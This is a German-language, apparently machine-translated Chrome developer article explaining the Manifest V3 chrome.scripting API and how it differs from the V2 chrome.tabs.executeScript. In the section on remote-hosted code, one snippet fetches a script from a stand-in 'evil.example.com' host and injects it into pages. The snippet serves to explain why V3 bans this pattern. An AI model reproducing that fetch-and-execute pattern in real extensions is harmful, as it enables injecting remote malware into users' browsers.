Jetzt neu: chrome.scripting

Manifest V3 enthält eine Reihe von Änderungen an der Erweiterungsplattform von Chrome. In diesem Beitrag werden wir uns mit den Beweggründen und Änderungen befassen, die durch eine der nennenswertesten Änderungen eingeführt werden: Einführung der chrome.scripting API.

Was ist chrome.scripting?

Wie der Name schon andeutet, ist chrome.scripting ein neuer Namespace, der in Manifest V3 eingeführt wurde verantwortlich für Script- und Style-Injection-Funktionen.

Entwickler, die in der Vergangenheit Chrome-Erweiterungen erstellt haben, sind möglicherweise mit Manifest V2-Methoden vertraut in der Tabs API wie chrome.tabs.executeScript und chrome.tabs.insertCSS Mit diesen Methoden können Erweiterungen Skripts und Stylesheets in Seiten verpacken können. In Manifest V3 wurden diese Funktionen chrome.scripting. Wir planen, diese API in Zukunft um einige neue Funktionen zu erweitern.

Gründe für das Erstellen einer neuen API

Bei einer solchen Änderung wird eine der ersten Fragen, die häufig auftauchen, „Warum?“ gestellt.

Aufgrund verschiedener Faktoren entschied sich das Chrome-Team für einen neuen Namespace für die Skripterstellung. Erstens ist die Tabs API eine Art Junk-Schublade für Funktionen. Zweitens mussten wir Änderungen an der vorhandenen executeScript API. Drittens: Wir wollten die Skripterstellung erweitern, Funktionen für Erweiterungen. Zusammen haben diese Bedenken klar definiert, dass ein neuer Namespace erforderlich ist, um Haus-Scripting-Funktionen nutzen.

Die Müllschublade

Ein Problem, das das Team für Erweiterungen in den letzten Jahren beschäftigt hat, ist, Die chrome.tabs API ist überlastet. Bei der Einführung dieser API waren die meisten Funktionen bezogen sich auf das allgemeine Konzept eines Browsertabs. Aber selbst damals war es noch alles im Blick und im Laufe der Jahre ist diese Sammlung immer größer geworden.

Bei der Veröffentlichung von Manifest V3 war die Tabs API bereits Auswahlverwaltung, Fensterorganisation, Messaging, Zoomsteuerung, einfache Navigation, Skripterstellung und kleinere Funktionen nutzen können. All diese Aspekte sind wichtig, und für das Chrome-Team bei der Wartung der Plattform und Anfragen aus der Entwickler-Community berücksichtigen.

Ein weiterer komplizierter Faktor ist, dass die Berechtigung tabs nicht gut verstanden wurde. Während viele andere Berechtigungen beschränken den Zugriff auf eine bestimmte API (z. B. storage). Diese Berechtigung ist eine ungewöhnlich, da sie der Erweiterung nur Zugriff auf vertrauliche Eigenschaften auf Tab-Instanzen Erweiterung auch auf die Windows-API auswirkt). Viele Erweiterungsentwickler glauben, Sie benötigen diese Berechtigung, um auf Methoden in der Tabs API zugreifen zu können, z. B. chrome.tabs.create oder chrome.tabs.executeScript. Durch das Verschieben von Funktionen aus der Tabs API können wir einige dieser Verwirrung.

Wichtige Änderungen

Eines unserer Hauptprobleme bei der Entwicklung von Manifest V3 war Missbrauch und Malware. durch „remote gehosteten Code“ aktiviert – Code, der ausgeführt wird, aber nicht in der Erweiterung enthalten ist Paket. Es ist normal, dass von Verfassern von Erweiterungen, die von Remote-Servern abgerufen werden, Skripts ausgeführt werden, Diebstahl von Nutzerdaten, Einschleusen von Malware und Umgehen von Erkennungsmechanismen Gute Akteure nutzen diese Möglichkeit zwar auch, fand es einfach zu gefährlich, so zu bleiben, wie es war.

Es gibt verschiedene Möglichkeiten, wie Erweiterungen entbündelten Code ausführen können. hier ist die chrome.tabs.executeScript-Methode von Manifest V2. Mit dieser Methode kann eine Erweiterung Beliebigen Code-String auf einem Ziel-Tab ausführen. Dies bedeutet wiederum, dass ein bösartiger Entwickler ein beliebiges Skript von einem Remote-Server abrufen und auf jeder Seite ausführen kann, die die Erweiterung Zugriff haben. Um das Remote-Code-Problem zu lösen, mussten wir diese .

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Wir wollten auch einige andere, leichtere Probleme mit dem Design der Manifest V2-Version die API zu einem ausgefeilteren und besser vorhersehbaren Tool machen.

Obwohl wir die Signatur dieser Methode in der Tabs API ändern können, waren wir der Meinung, funktionsgefährdende Änderungen und die Einführung neuer Funktionen (wird im nächsten Abschnitt behandelt), wäre es für alle einfacher.

Erweiterung der Skriptfunktionen

Ein weiterer Aspekt, der in den Entwicklungsprozess von Manifest V3 einfließt, war der Wunsch, der Erweiterungsplattform von Chrome. Konkret sollten wir Skripts für dynamische Inhalte unterstützt und die Möglichkeiten der executeScript-Methode erweitert.

Die Unterstützung von Skripts für dynamische Inhalte ist eine langjährige Funktion in Chromium. Heute Mit den Chrome-Erweiterungen von Manifest V2 und V3 können Inhaltsskripte nur in ihren manifest.json-Datei; bietet die Plattform keine Möglichkeit, neue Inhaltsskripte zu registrieren, Content-Skript registrieren oder die Registrierung von Content-Skripts zur Laufzeit aufheben.

Obwohl wir wussten, dass wir diese Funktionsanfrage in Manifest V3 bearbeiten wollten, APIs fühlten sich wie das richtige Zuhause an. Wir erwägen auch eine Abstimmung mit Firefox bei den Content Scripts. API. Wir haben jedoch schon sehr früh ein paar große Nachteile bei diesem Ansatz erkannt. Zunächst wussten wir, dass wir inkompatible Signaturen haben würden (z.B. fehlende Unterstützung für die code . Zweitens hatte unsere API andere Designbeschränkungen (z.B. eine Registrierung für über die Lebensdauer eines Service Workers hinaus bestehen bleiben. Dieser Namespace würde uns auch Content-Skript-Funktionen, bei denen wir über das Erstellen von Skripts in Erweiterungen nachdenken.

Im Hinblick auf executeScript wollten wir außerdem die Möglichkeiten dieser API über die Tabs hinaus erweitern. API-Version wird unterstützt. Genauer gesagt wollten wir Funktionen und Argumente einfacher unterstützen, Targeting auf bestimmte Frames und Targeting ohne "Tab" Kontexte.

Außerdem überlegen wir, wie Erweiterungen mit installierten PWAs und anderen Kontexte, die sich konzeptionell nicht „Tabs“ zuordnen lassen.

Änderungen zwischen „tabs.executeScript“ und „scripting.executeScript“

Im restlichen Teil dieses Beitrags möchte ich auf die Gemeinsamkeiten und Unterschiede zwischen chrome.tabs.executeScript und chrome.scripting.executeScript

Funktion mit Argumenten einfügen

Unter Berücksichtigung der Weiterentwicklung der Plattform angesichts des remote gehosteten Codes wollten wir ein Gleichgewicht zwischen der rohen Leistung der Ausführung von beliebigem Code und um Skripts mit statischen Inhalten zuzulassen. Unsere Lösung bestand darin, Erweiterungen das Einfügen eines als Inhaltsskript verwenden und ein Array von Werten als Argumente übergeben.

Sehen wir uns kurz ein (zu vereinfachtes) Beispiel an. Angenommen, wir wollen ein Skript einschleusen, begrüßt den Nutzer namentlich, wenn er auf die Aktionsschaltfläche der Erweiterung (Symbol in der Symbolleiste) klickt. In Manifest V2 könnten wir dynamisch einen Codestring erstellen und dieses Skript im aktuellen Seite.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3-Erweiterungen können keinen Code verwenden, der nicht in der Erweiterung enthalten ist. Unser Ziel war es, Sie können die Dynamik beibehalten, die beliebige Codeblöcke für Manifest V2-Erweiterungen aktiviert sind. Die Funktion und Argumenten ermöglicht es Chrome Web Store-Prüfern, Nutzern und anderen interessierte Parteien, um die Risiken einer Erweiterung genauer einzuschätzen und gleichzeitig Entwickler das Laufzeitverhalten einer Erweiterung je nach Nutzereinstellungen oder Anwendungsstatus ändern können.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Targeting-Frames

Außerdem wollten wir die Interaktion von Entwicklern mit Frames in der überarbeiteten API verbessern. Manifest V2 Mit der Version von executeScript konnten Entwickler das Targeting entweder auf alle Frames in einem Tab oder auf eine bestimmte auf dem Tab. Mit chrome.webNavigation.getAllFrames können Sie eine Liste aller Frames in einen Tab.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

In Manifest V3 haben wir das optionale Ganzzahlattribut frameId im Optionsobjekt durch ein Optionales frameIds-Array mit Ganzzahlen So können Entwickler mehrere Frames in einem API-Aufruf.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Script-Injection-Ergebnisse

Außerdem haben wir die Rückgabe von Script-Einschleusungsergebnissen in Manifest V3 verbessert. Ein „Ergebnis“ ist also die endgültige Anweisung, die in einem Skript ausgewertet wird. Stellen Sie sich das wie den Wert vor, der zurückgegeben wird, wenn Sie eval() aufrufen oder einen Codeblock in der Chrome-Entwicklertools-Konsole ausführen, der aber serialisiert ist, um Ergebnisse über verschiedene Prozesse hinweg weiterzugeben.

In Manifest V2 würden executeScript und insertCSS ein Array von einfachen Ausführungsergebnissen zurückgeben. Dies ist in Ordnung, wenn Sie nur einen einzigen Injection-Point haben, die Ergebnisreihenfolge aber nicht garantiert ist, in mehrere Frames eingeschleust, sodass man nicht erkennen kann, welches Ergebnis Frame.

Sehen wir uns als konkretes Beispiel die results-Arrays an, die von Manifest V2 zurückgegeben werden, und einem Manifest V3-Version derselben Erweiterung. Beide Versionen der Erweiterung injizieren dasselbe und die Ergebnisse werden auf derselben Demoseite verglichen.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Wenn wir Manifest V2 ausführen, wird ein Array von [1, 0, 5] zurückgegeben. Welches Ergebnis entspricht zum Hauptframe und welche für den iFrame? Der Rückgabewert gibt keinen Aufschluss darüber, Natürlich.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

In der Manifest V3-Version enthält results jetzt ein Array von Ergebnisobjekten anstelle eines Arrays nur die Bewertungsergebnisse. Die Ergebnisobjekte identifizieren eindeutig die ID des Frames für jedes Ergebnis. Dies macht es Entwickelnden viel einfacher, das Ergebnis zu nutzen und Maßnahmen für eine bestimmte Frame.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Zusammenfassung

Positive Ausschläge bei Manifestversionen stellen eine seltene Möglichkeit dar, Erweiterungs-APIs zu überdenken und zu modernisieren. Unser Ziel mit Manifest V3 die Nutzererfahrung zu verbessern, indem es Erweiterungen sicherer macht, die Entwicklererfahrung zu verbessern. Mit der Einführung von chrome.scripting in Manifest V3 konnten wir zur Bereinigung der Tabs API, zur Neudefinition von executeScript als einer sichereren Plattform für Erweiterungen, und die Grundlage für neue Skriptfunktionen zu schaffen, die im Laufe des Jahres eingeführt werden.